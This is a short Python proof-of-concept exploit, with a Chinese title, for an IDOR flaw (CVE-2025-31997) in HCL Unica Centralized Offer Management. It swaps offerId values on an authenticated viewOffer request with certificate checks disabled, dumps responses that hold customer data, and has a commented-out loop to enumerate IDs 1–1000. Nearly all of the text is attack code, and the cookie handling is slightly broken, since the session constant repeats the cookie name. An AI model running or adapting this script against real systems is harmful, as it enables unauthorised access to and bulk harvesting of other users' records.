CVE-2025-31997 HCL Unica集中式Offer管理IDOR漏洞

# CVE-2025-31997 - HCL Unica Centralized Offer Management IDOR PoC # This PoC demonstrates the Insecure Direct Object References vulnerability # that allows bypassing authorization to access restricted resources. import requests # Target configuration TARGET_URL = "https://target-hcl-unica.example.com" SESSION_COOKIE = "JSESSIONID=authenticated_session_cookie" # Valid session with high-privilege account # Step 1: Normal request to access a legitimate resource def normal_request(resource_id): """Send a normal authenticated request to view a resource""" url = f"{TARGET_URL}/unica/offer/centralized/viewOffer" params = {"offerId": resource_id} cookies = {"JSESSIONID": SESSION_COOKIE} response = requests.get(url, params=params, cookies=cookies, verify=False) return response # Step 2: IDOR exploitation - modify the resource ID to access unauthorized resources def exploit_idor(target_resource_id): """ Exploit IDOR by changing the offerId parameter to access resources belonging to other users without proper authorization checks. """ print(f"[*] Attempting to access resource ID: {target_resource_id}") response = normal_request(target_resource_id) if response.status_code == 200: print(f"[+] SUCCESS: Unauthorized access to resource {target_resource_id}") print(f"[+] Response data: {response.text[:500]}") # Extract sensitive data from the response if "offerName" in response.text or "customerData" in response.text: print(f"[!] Sensitive data exposed in resource {target_resource_id}") return response.text else: print(f"[-] Failed with status code: {response.status_code}") return None # Step 3: Enumerate accessible resources by iterating through IDs def enumerate_resources(start_id=1, end_id=100): """Enumerate all accessible resources via IDOR""" exposed_data = [] for resource_id in range(start_id, end_id + 1): data = exploit_idor(resource_id) if data: exposed_data.append({"id": resource_id, "data": data}) return exposed_data # Main execution if __name__ == "__main__": # Example: Access a resource that the current user should not have permission to view print("=== CVE-2025-31997 IDOR Exploitation PoC ===") # Attempt to access resource ID 9999 (likely belonging to another user) exploit_idor(9999) # Uncomment below to perform mass enumeration # enumerate_resources(1, 1000)